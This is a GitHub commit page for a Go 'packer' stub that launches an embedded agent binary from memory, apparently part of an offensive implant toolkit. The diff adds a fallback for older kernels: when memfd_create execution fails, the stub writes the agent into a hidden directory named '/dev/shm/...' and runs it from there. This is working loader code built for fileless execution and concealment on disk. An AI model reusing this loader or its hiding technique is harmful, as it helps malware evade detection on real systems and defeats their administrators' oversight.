Skip to content

Commit

Permalink
use shm_open if memfd_create fails
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Jan 3, 2021
1 parent b542a27 commit 689514b
Showing 1 changed file with 25 additions and 1 deletion.
26 changes: 25 additions & 1 deletion packer/cmd/stub/stub.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ import (
"io/ioutil"
"log"
"os"
"os/exec"
"syscall"
"time"
"unsafe"
Expand Down Expand Up @@ -48,7 +49,30 @@ func runFromMemory(procName string, buffer []byte) {
file.Close()

progWithArgs := append([]string{procName}, os.Args[1:]...)
_ = syscall.Exec(fdPath, progWithArgs, nil)
err := syscall.Exec(fdPath, progWithArgs, nil)
if err == nil {
log.Println("agent started from memory using memfd_create")
return
}

// older kernel
log.Printf("memfd_create failed: %v, trying shm_open", err)
shmPath := "/dev/shm/..."
if _, err := os.Stat(shmPath); os.IsNotExist(err) {
err = os.Mkdir(shmPath, 0700)
if err != nil {
log.Fatal(err)
}
}
err = ioutil.WriteFile(shmPath+"/"+procName, buffer, 0755)
if err != nil {
log.Fatal(err)
}
cmd := exec.Command(shmPath+"/"+procName, os.Args[1:]...)
err = cmd.Start()
if err != nil {
log.Fatal(err)
}
}

func main() {
Expand Down

0 comments on commit 689514b

Please sign in to comment.